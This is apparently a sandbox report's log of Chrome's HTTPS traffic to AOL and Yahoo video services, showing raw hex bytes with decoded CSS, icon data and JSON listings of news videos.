2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 34 20 31 30 2e 31 38 33 31 36 36 2c 31 30 2e 37 37 38 34 32 37 35 20 43 31 30 2e 35 34 30 39 36 36 2c 31 30 2e 39 35 39 35 38 36 20 31 30 2e 39 37 32 32 38 36 34 2c 31 30 2e 39 30 33 32 31 34 39 20 31 31 2e 32 35 39 35 30 36 37 2c 31 30 2e 36 32 36 31 37 37 32 20 43 31 31 2e 36 31 32 38 39 35 34 2c 31 30 2e 32 38 34 35 37 37 37 20 31 31 2e 35 35 33 30 39 38 37 2c 39 2e 37 30 31 35 39 34 30 35 20 31 31 2e 31 33 32 35 36 31 32 2c 39 2e 34 34 33 38 32 38 35 35 20 43 31 30 2e 35 31 35 34 37 38 38 2c 39 2e 30 36 36 30 39 33 36 39 20 39 2e 37 35 31 38 34 35 35 32 2c 38 2e 39 30 31 33 31 36 34 39 20 38 2e 39 33 35 32 37 37 34 32 2c 39 2e 30 36 30 33 31 32 30 33 20 43 37 2e 37 34 36 36 39 35 34 2c 39 2e 32 39 31 35 37 38 32 38 20 36 2e 37 38 30 36 33 35 35 33 2c Data Ascii: 4 10.183166,10.7784275 C10.540966,10.959586 10.9722864,10.9032149 11.2595067,10.6261772 C11.6128954,10.2845777 11.5530987,9.70159405 11.1325612,9.44382855 C10.5154788,9.06609369 9.75184552,8.90131649 8.93527742,9.06031203 C7.7466954,9.29157828 6.78063553,
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 25 33 63 2f 67 25 33 65 25 33 63 2f 67 25 33 65 25 33 63 2f 73 76 67 25 33 65 22 29 7d 23 70 66 72 61 6d 65 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 23 62 63 2d 70 6c 61 79 65 72 20 2e 76 6a 73 2d 62 69 67 2d 70 6c 61 79 2d 62 75 74 74 6f 6e 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 33 70 78 20 31 32 70 78 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 36 29 2c 30 20 30 20 31 70 78 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 32 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 34 35 64 65 67 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 34 29 20 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 36 29 20 34 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 Data Ascii: %3c/g%3e%3c/g%3e%3c/svg%3e")}#pframe-player-container #bc-player .vjs-big-play-button{box-shadow:0 3px 12px 0 rgba(0,0,0,0.16),0 0 1px 0 rgba(0,0,0,0.2);background:linear-gradient(45deg,rgba(255,255,255,0.4) 0%,rgba(255,255,255,0.6) 40%,rgba(255,255,255,0
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 75 4f 53 41 79 4c 6a 6b 78 4c 54 6b 75 4f 54 49 67 4e 79 34 32 59 54 45 67 4d 53 41 77 49 44 41 67 4d 43 41 77 49 43 34 34 51 7a 51 75 4d 53 41 78 4e 79 34 77 4f 53 41 33 4c 6a 6b 67 4d 6a 41 67 4d 54 49 67 4d 6a 42 7a 4e 79 34 35 4c 54 49 75 4f 54 45 67 4f 53 34 35 4d 69 30 33 4c 6a 5a 68 4d 53 41 78 49 44 41 67 4d 43 41 77 49 44 41 74 4c 6a 68 61 54 54 45 79 49 44 45 34 59 79 30 7a 4c 6a 45 33 49 44 41 74 4e 69 34 78 4e 79 30 79 4c 6a 49 35 4c 54 63 75 4f 53 30 32 51 7a 55 75 4f 44 4d 67 4f 43 34 79 4f 53 41 34 4c 6a 67 7a 49 44 59 67 4d 54 49 67 4e 6e 4d 32 4c 6a 45 33 49 44 49 75 4d 6a 6b 67 4e 79 34 35 49 44 5a 6a 4c 54 45 75 4e 7a 4d 67 4d 79 34 33 4d 53 30 30 4c 6a 63 7a 49 44 59 74 4e 79 34 35 49 44 5a 61 62 54 41 74 4d 54 42 68 4e 43 41 30 49 44 Data Ascii: uOSAyLjkxLTkuOTIgNy42YTEgMSAwIDAgMCAwIC44QzQuMSAxNy4wOSA3LjkgMjAgMTIgMjBzNy45LTIuOTEgOS45Mi03LjZhMSAxIDAgMCAwIDAtLjhaTTEyIDE4Yy0zLjE3IDAtNi4xNy0yLjI5LTcuOS02QzUuODMgOC4yOSA4LjgzIDYgMTIgNnM2LjE3IDIuMjkgNy45IDZjLTEuNzMgMy43MS00LjczIDYtNy45IDZabTAtMTBhNCA0ID
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 65 78 74 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 23 66 66 66 7d 23 70 66 72 61 6d 65 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 23 62 63 2d 70 6c 61 79 65 72 20 2e 76 6a 73 2d 6d 65 6e 75 2d 62 75 74 74 6f 6e 2d 70 6f 70 75 70 20 2e 76 6a 73 2d 6d 65 6e 75 20 2e 76 6a 73 2d 6d 65 6e 75 2d 69 74 65 6d 2c 23 70 66 72 61 6d 65 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 23 62 63 2d 70 6c 61 79 65 72 20 2e 76 6a 73 2d 6d 65 6e 75 2d 62 75 74 74 6f 6e 2d 70 6f 70 75 70 20 2e 76 6a 73 2d 6d 65 6e 75 20 2e 76 6a 73 2d 6d 65 6e 75 2d 74 69 74 6c 65 7b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 7d 23 70 66 72 61 6d 65 2d 70 6c 61 79 65 72 2d 63 6f Data Ascii: ext-shadow:0 0 0 #fff}#pframe-player-container #bc-player .vjs-menu-button-popup .vjs-menu .vjs-menu-item,#pframe-player-container #bc-player .vjs-menu-button-popup .vjs-menu .vjs-menu-title{margin:0;border-radius:0;background-color:#000}#pframe-player-co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.6	49983	87.248.100.212	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	727	OUT	GET /api/v2/gql/stream_view?version=v1&namespace=video&id=curated-videos&device=desktop&site=aolhomepage&region=US&lang=en-US&bucketId=aol-acookie-control%2Caol-aa-1&dedup=true&imageSizes=260x144&snippetCount=12&count=120&listAlias=ymedia-alias%3Aplaylist%3Daolcom-homepage HTTP/1.1 Host: ncp-gw-video.media.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:55 UTC	1133	IN	HTTP/1.1 200 OK content-type: application/json;charset=utf-8 cache-control: public, stale-while-revalidate=900, max-age=60 vary: Accept-Encoding,Origin y-rid: 74mk2gtj4vh4f,74mk2gtj4vh4f x-yahoo-request-id: 74mk2gtj4vh4f,74mk2gtj4vh4f x-request-id: ded6faa2-b2c8-4611-9638-f087732bb2f0,ded6faa2-b2c8-4611-9638-f087732bb2f0 x-envoy-upstream-service-time: 24 date: Thu, 23 May 2024 22:34:55 GMT server: ATS Age: 0 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:34:55 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:34:55 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure
2024-05-23 22:34:55 UTC	877	IN	Data Raw: 33 32 61 37 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 63 75 72 61 74 65 64 56 69 64 65 6f 73 22 3a 7b 22 73 74 72 65 61 6d 49 6e 66 6f 22 3a 7b 22 72 65 74 75 72 6e 65 64 4c 69 73 74 43 6f 75 6e 74 22 3a 31 32 2c 22 72 65 71 75 65 73 74 65 64 43 6f 75 6e 74 22 3a 31 32 30 2c 22 73 74 72 65 61 6d 54 79 70 65 22 3a 22 6a 61 72 76 69 73 22 2c 22 73 6e 69 70 70 65 74 43 6f 75 6e 74 22 3a 31 32 2c 22 71 75 65 72 79 50 72 6f 66 69 6c 65 22 3a 22 61 73 73 65 74 6c 69 73 74 5f 73 69 6e 67 6c 65 5f 66 65 65 64 22 2c 22 69 64 22 3a 22 4a 41 52 56 49 53 3a 63 75 72 61 74 65 64 56 69 64 65 6f 73 3a 61 73 73 65 74 6c 69 73 74 5f 73 69 6e 67 6c 65 5f 66 65 65 64 3a 6e 75 6c 6c 22 2c 22 6a 61 72 76 69 73 46 65 65 64 4e 61 6d 65 22 3a 22 6d 61 69 6e 22 2c 22 70 61 72 61 6d 73 Data Ascii: 32a7{"data":{"curatedVideos":{"streamInfo":{"returnedListCount":12,"requestedCount":120,"streamType":"jarvis","snippetCount":12,"queryProfile":"assetlist_single_feed","id":"JARVIS:curatedVideos:assetlist_single_feed:null","jarvisFeedName":"main","params
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 62 38 39 37 61 36 2d 39 37 37 31 2d 33 33 32 39 2d 62 33 35 31 2d 36 39 61 37 30 31 61 37 37 34 33 38 22 2c 22 74 69 74 6c 65 22 3a 22 33 20 54 68 69 6e 67 73 20 74 6f 20 4b 6e 6f 77 3a 20 47 72 61 63 65 6c 61 6e 64 2c 20 50 72 69 6e 63 65 20 57 69 6c 6c 69 61 6d 2c 20 42 61 72 72 79 6d 6f 72 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 65 6e 6e 65 73 73 65 65 20 6a 75 64 67 65 20 62 6c 6f 63 6b 73 20 65 66 66 6f 72 74 20 74 6f 20 73 65 6c 6c 20 45 6c 76 69 73 20 50 72 65 73 6c 65 79 27 73 20 66 6f 72 6d 65 72 20 68 6f 6d 65 3b 20 50 72 69 6e 63 65 20 57 69 6c 6c 69 61 6d 20 68 6f 73 74 73 20 72 6f 79 61 6c 20 73 75 6d 6d 65 72 20 70 61 72 74 79 20 69 6e 20 74 68 65 20 72 61 69 6e 20 61 74 20 42 75 63 6b 69 6e 67 68 61 6d 20 50 61 6c 61 63 65 Data Ascii: b897a6-9771-3329-b351-69a701a77438","title":"3 Things to Know: Graceland, Prince William, Barrymore","description":"Tennessee judge blocks effort to sell Elvis Presley's former home; Prince William hosts royal summer party in the rain at Buckingham Palace
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 76 79 6b 79 58 38 34 35 48 55 52 37 4e 63 35 5f 74 5f 61 57 67 2d 2d 7e 42 2f 5a 6d 6b 39 63 33 52 79 61 57 30 37 61 44 30 78 4e 44 51 37 64 7a 30 79 4e 6a 41 37 59 58 42 77 61 57 51 39 65 58 52 68 59 32 68 35 62 32 34 2d 2f 68 74 74 70 73 3a 2f 2f 6d 65 64 69 61 2e 7a 65 6e 66 73 2e 63 6f 6d 2f 65 6e 2f 76 69 64 65 6f 2e 61 73 73 6f 63 69 61 74 65 64 70 72 65 73 73 66 72 65 65 2e 63 6f 6d 2f 61 35 31 30 37 39 34 30 61 31 32 63 39 34 35 62 34 35 39 37 39 64 32 65 36 63 63 65 35 35 35 37 22 2c 22 77 69 64 74 68 22 3a 32 36 30 2c 22 68 65 69 67 68 74 22 3a 31 34 34 2c 22 74 61 67 22 3a 22 32 36 30 78 31 34 34 22 7d 5d 7d 2c 22 76 69 65 77 65 72 43 6f 75 6e 74 22 3a 7b 22 69 64 22 3a 22 34 32 62 38 39 37 61 36 2d 39 37 37 31 2d 33 33 32 39 2d 62 33 35 31 2d Data Ascii: vykyX845HUR7Nc5_t_aWg--~B/Zmk9c3RyaW07aD0xNDQ7dz0yNjA7YXBwaWQ9eXRhY2h5b24-/https://media.zenfs.com/en/video.associatedpressfree.com/a5107940a12c945b45979d2e6cce5557","width":260,"height":144,"tag":"260x144"}]},"viewerCount":{"id":"42b897a6-9771-3329-b351-
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 75 22 2c 22 79 66 69 6e 61 6e 63 65 3a 70 61 72 74 6e 65 72 3d 74 64 22 2c 22 69 70 74 63 3a 73 75 62 6a 65 63 74 3d 30 34 30 31 30 30 30 30 22 2c 22 69 70 74 63 3a 73 75 62 6a 65 63 74 3d 30 34 30 30 30 30 30 30 22 2c 22 79 6e 65 77 73 3a 72 65 67 69 6f 6e 3d 67 62 22 2c 22 79 6d 65 64 69 61 3a 63 61 74 65 67 6f 72 79 3d 31 30 30 30 30 30 30 30 33 22 2c 22 79 6d 65 64 69 61 3a 63 61 74 65 67 6f 72 79 3d 31 30 30 30 30 30 30 30 32 22 2c 22 79 63 74 3a 30 30 31 30 30 30 32 39 38 22 2c 22 79 66 69 6e 61 6e 63 65 3a 70 61 72 74 6e 65 72 3d 61 70 70 6c 65 22 2c 22 79 6e 65 77 73 3a 72 65 67 69 6f 6e 3d 63 61 22 2c 22 79 6e 65 77 73 3a 72 65 67 69 6f 6e 3d 75 73 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 61 75 22 2c 22 79 6d 65 64 69 61 3a Data Ascii: u","yfinance:partner=td","iptc:subject=04010000","iptc:subject=04000000","ynews:region=gb","ymedia:category=100000003","ymedia:category=100000002","yct:001000298","yfinance:partner=apple","ynews:region=ca","ynews:region=us","yfrontpage:region=au","ymedia:
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 20 49 27 6d 20 6f 6e 20 73 74 61 67 65 20 72 69 67 68 74 20 6e 6f 77 2e 20 49 27 6d 20 64 6f 69 6e 67 20 61 20 6c 69 76 65 20 64 65 6d 6f 2c 20 61 6e 64 20 66 72 61 6e 6b 6c 79 2c 20 49 27 6d 20 66 65 65 6c 69 6e 67 20 61 20 6c 69 74 74 6c 65 20 62 69 74 20 6e 65 72 76 6f 75 73 2e 20 43 61 6e 20 79 6f 75 20 68 65 6c 70 20 6d 65 20 63 61 6c 6d 20 6d 79 20 6e 65 72 76 65 73 20 61 20 6c 69 74 74 6c 65 20 62 69 74 3f e2 80 9d 20 e2 80 9c 4f 68 2c 20 79 6f 75 27 72 65 20 64 6f 69 6e 67 20 61 20 6c 69 76 65 20 64 65 6d 6f 20 72 69 67 68 74 20 6e 6f 77 2e 20 54 68 61 74 27 73 20 61 77 65 73 6f 6d 65 2e 20 4a 75 73 74 20 74 61 6b 65 20 61 20 64 65 65 70 20 62 72 65 61 74 68 20 61 6e 64 20 72 65 6d 65 6d 62 65 72 2c 20 79 6f 75 27 72 65 20 74 68 65 20 65 78 70 65 Data Ascii: I'm on stage right now. I'm doing a live demo, and frankly, I'm feeling a little bit nervous. Can you help me calm my nerves a little bit? Oh, you're doing a live demo right now. That's awesome. Just take a deep breath and remember, you're the expe
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 69 6e 61 6e 63 65 22 3a 7b 22 73 74 6f 63 6b 54 69 63 6b 65 72 73 22 3a 6e 75 6c 6c 7d 2c 22 70 75 62 44 61 74 65 22 3a 22 32 30 32 34 2d 30 35 2d 32 33 54 31 31 3a 30 39 3a 34 36 5a 22 2c 22 70 72 6f 76 69 64 65 72 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 72 65 75 74 65 72 73 2e 63 6f 6d 2f 22 2c 22 64 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 52 65 75 74 65 72 73 20 56 69 64 65 6f 73 22 7d 2c 22 74 61 67 73 22 3a 5b 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 63 61 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 75 73 22 2c 22 79 63 74 3a 30 30 31 30 30 30 32 30 32 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 67 62 22 2c 22 79 6d 65 64 69 61 3a 68 6f 73 74 65 64 3d 79 65 73 22 2c 22 79 66 Data Ascii: inance":{"stockTickers":null},"pubDate":"2024-05-23T11:09:46Z","provider":{"url":"http://www.reuters.com/","displayName":"Reuters Videos"},"tags":["yfrontpage:region=ca","yfrontpage:region=us","yct:001000202","yfrontpage:region=gb","ymedia:hosted=yes","yf
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 7d 7d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 22 3a 7b 22 69 64 22 3a 22 62 30 61 37 37 37 35 64 2d 63 64 33 62 2d 33 37 66 63 2d 39 66 37 61 2d 37 64 66 61 36 35 39 35 36 37 31 36 22 2c 22 74 69 74 6c 65 22 3a 22 41 6e 20 65 78 70 65 72 74 20 65 78 70 6c 61 69 6e 73 20 68 6f 77 20 69 6e 63 6c 75 64 69 6e 67 20 56 69 74 61 6d 69 6e 20 42 20 69 6e 20 79 6f 75 72 20 64 69 65 74 20 63 61 6e 20 69 6d 70 72 6f 76 65 20 79 6f 75 72 20 68 65 61 6c 74 68 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 75 74 72 69 74 69 6f 6e 61 6c 20 74 68 65 72 61 70 69 73 74 20 4c 61 75 72 65 6e 20 4b 65 6c 6c 79 20 62 72 65 61 6b 73 20 64 6f 77 6e 20 68 6f 77 20 56 69 74 61 6d 69 6e 20 42 20 63 61 6e 20 69 6d 70 72 6f 76 65 20 65 76 65 72 79 74 68 69 6e 67 20 66 72 6f 6d 20 79 Data Ascii: }}},{"content":{"id":"b0a7775d-cd3b-37fc-9f7a-7dfa65956716","title":"An expert explains how including Vitamin B in your diet can improve your health","description":"Nutritional therapist Lauren Kelly breaks down how Vitamin B can improve everything from y
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 39 65 58 52 68 59 32 68 35 62 32 34 2d 2f 68 74 74 70 73 3a 2f 2f 63 66 2d 69 6d 61 67 65 73 2e 75 73 2d 65 61 73 74 2d 31 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 64 31 30 30 35 37 64 63 2d 62 39 32 63 2d 34 33 36 30 2d 62 62 62 32 2d 66 32 35 32 65 35 61 63 61 39 61 33 2f 6d 61 69 6e 2f 31 32 38 30 78 37 32 30 2f 34 30 73 34 36 31 6d 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 67 22 2c 22 77 69 64 74 68 22 3a 32 36 30 2c 22 68 65 69 67 68 74 22 3a 31 34 34 2c 22 74 61 67 22 3a 22 32 36 30 78 31 34 34 22 7d 5d 7d 2c 22 76 69 65 77 65 72 43 6f 75 6e 74 22 3a 7b 22 69 64 22 3a 22 62 30 61 37 37 37 35 64 2d 63 64 33 62 2d 33 37 66 63 2d 39 66 37 61 2d 37 64 66 61 36 35 39 35 36 Data Ascii: 9eXRhY2h5b24-/https://cf-images.us-east-1.prod.boltdns.net/v1/jit/6415665815001/d10057dc-b92c-4360-bbb2-f252e5aca9a3/main/1280x720/40s461ms/match/image.jpg","width":260,"height":144,"tag":"260x144"}]},"viewerCount":{"id":"b0a7775d-cd3b-37fc-9f7a-7dfa65956
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 6f 76 69 64 65 72 5f 63 61 74 65 67 6f 72 79 3d 57 6f 72 6c 64 22 2c 22 79 6e 65 77 73 3a 72 65 67 69 6f 6e 3d 73 67 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 65 78 70 65 72 69 6d 65 6e 74 3d 76 69 64 65 6f 5f 70 72 65 66 65 72 72 65 64 5f 70 72 6f 76 69 64 65 72 73 22 2c 22 79 6d 65 64 69 61 3a 73 65 72 69 65 73 5f 6e 61 6d 65 3d 41 50 22 5d 2c 22 74 68 75 6d 62 6e 61 69 6c 22 3a 7b 22 72 65 73 6f 6c 75 74 69 6f 6e 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 75 75 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 33 2e 6e 50 7a 6d 53 72 50 33 75 64 73 70 4c 38 38 53 30 44 5a 51 2d 2d 7e 42 2f 61 44 30 33 4d 6a 41 37 64 7a 30 78 4d 6a 67 77 4f 32 46 77 63 47 6c 6b 50 58 6c 30 59 57 4e 6f 65 57 39 75 2f 68 74 74 70 73 Data Ascii: ovider_category=World","ynews:region=sg","yfrontpage:experiment=video_preferred_providers","ymedia:series_name=AP"],"thumbnail":{"resolutions":[{"url":"https://s.yimg.com/uu/api/res/1.2/3.nPzmSrP3udspL88S0DZQ--~B/aD03MjA7dz0xMjgwO2FwcGlkPXl0YWNoeW9u/https
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 63 61 22 2c 22 79 73 70 6f 72 74 73 3a 72 65 67 69 6f 6e 3d 61 75 22 2c 22 79 6d 65 64 69 61 3a 63 61 74 65 67 6f 72 79 3d 31 30 30 30 30 30 30 30 32 22 2c 22 79 63 74 3a 30 30 31 30 30 30 30 30 31 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 67 62 22 2c 22 79 6d 65 64 69 61 3a 70 72 6f 76 69 64 65 72 5f 63 61 74 65 67 6f 72 79 3d 73 70 6f 72 74 22 2c 22 79 6d 65 64 69 61 3a 68 6f 73 74 65 64 3d 79 65 73 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 61 75 22 2c 22 79 66 72 6f 6e 74 70 61 67 65 3a 72 65 67 69 6f 6e 3d 73 67 22 2c 22 79 6d 65 64 69 61 3a 63 61 74 65 67 6f 72 79 3d 31 30 30 30 30 30 30 30 38 22 2c 22 79 6d 65 64 69 61 3a 74 79 70 65 3d 63 61 76 69 Data Ascii: ,"yfrontpage:region=ca","ysports:region=au","ymedia:category=100000002","yct:001000001","yfrontpage:region=gb","ymedia:provider_category=sport","ymedia:hosted=yes","yfrontpage:region=au","yfrontpage:region=sg","ymedia:category=100000008","ymedia:type=cavi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.6	49990	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	1097	OUT	GET /v1/video/sapi/streams/42b897a6-9771-3329-b351-69a701a77438?ad.pubfamily=aol&srid=1130454662&protocol=http&format=m3u8%2Cmp4%2Cwebm&rt=html&devtype=desktop&offnetwork=false&plid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&region=US&site=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&bckt=Treatment_Oath_Player&lang=en-US&width=368&height=276&resize=true&ps=b2be1uzt&autoplay=false&image_sizes=&excludePS=true&isDockable=0&acctid=&synd=&pspid=1197803361&plidl=&topic=&pver=1.6.29&try=1&failover_count=0&ads=ima&ad.pl=up&ad.pd=&ad.pt=home&ad.pct=aol&evp=bcp&hlspre=false&ad.plseq=1&gdpr=false&iabconsent=&usprv=1YNN&gpp=DBAA&gppSid=-1 HTTP/1.1 Host: video-api.yql.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:55 UTC	858	IN	HTTP/1.1 200 OK content-type: application/json;charset=utf-8 ps: b2be1uzt cache-control: private vary: Accept-Encoding access-control-allow-origin: * access-control-allow-methods: GET timing-allow-origin: * access-control-allow-credentials: false access-control-allow-headers: Content-Type access-control-expose-headers: Content-Length y-rid: 1hn1pnlj4vh4f x-yahoo-request-id: 1hn1pnlj4vh4f x-request-id: bdc0a31c-b8aa-4537-9f4b-f16d93901784 content-length: 6072 x-envoy-upstream-service-time: 22 date: Thu, 23 May 2024 22:34:55 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 7b 22 71 75 65 72 79 22 3a 7b 22 72 65 73 75 6c 74 73 22 3a 7b 22 6d 65 64 69 61 4f 62 6a 22 3a 5b 7b 22 69 64 22 3a 22 34 32 62 38 39 37 61 36 2d 39 37 37 31 2d 33 33 32 39 2d 62 33 35 31 2d 36 39 61 37 30 31 61 37 37 34 33 38 22 2c 22 6d 65 74 61 22 3a 7b 22 61 74 74 72 69 62 75 74 69 6f 6e 22 3a 22 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 65 6e 6e 65 73 73 65 65 20 6a 75 64 67 65 20 62 6c 6f 63 6b 73 20 65 66 66 6f 72 74 20 74 6f 20 73 65 6c 6c 20 45 6c 76 69 73 20 50 72 65 73 6c 65 79 26 23 33 39 3b 73 20 66 6f 72 6d 65 72 20 68 6f 6d 65 3b 20 50 72 69 6e 63 65 20 57 69 6c 6c 69 61 6d 20 68 6f 73 74 73 20 72 6f 79 61 6c 20 73 75 6d 6d 65 72 20 70 61 72 74 79 20 69 6e 20 74 68 65 20 72 61 69 6e 20 61 74 20 42 75 63 6b 69 6e 67 68 61 6d 20 Data Ascii: {"query":{"results":{"mediaObj":[{"id":"42b897a6-9771-3329-b351-69a701a77438","meta":{"attribution":"","description":"Tennessee judge blocks effort to sell Elvis Presley's former home; Prince William hosts royal summer party in the rain at Buckingham
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 5f 63 6f 75 6e 74 22 3a 38 35 31 33 36 36 2c 22 6e 69 65 6c 73 65 6e 5f 62 65 61 63 6f 6e 73 22 3a 66 61 6c 73 65 2c 22 75 70 6c 79 6e 6b 5f 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 6c 69 76 65 5f 77 69 74 68 5f 61 64 73 22 3a 66 61 6c 73 65 7d 2c 22 73 74 72 65 61 6d 73 22 3a 5b 7b 22 68 6f 73 74 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 2e 61 70 69 2e 62 72 69 67 68 74 63 6f 76 65 2e 63 6f 6d 22 2c 22 70 61 74 68 22 3a 22 2f 70 6c 61 79 62 61 63 6b 2f 76 31 2f 61 63 63 6f 75 6e 74 73 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 76 69 64 65 6f 73 2f 36 33 35 33 35 31 30 33 30 37 31 31 32 2f 6d 61 73 74 65 72 2e 6d 33 75 38 3f 62 63 6f 76 5f 61 75 74 68 3d 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 Data Ascii: _count":851366,"nielsen_beacons":false,"uplynk_live":false,"live_with_ads":false},"streams":[{"host":"https://edge.api.brightcove.com","path":"/playback/v1/accounts/6415665815001/videos/6353510307112/master.m3u8?bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsi
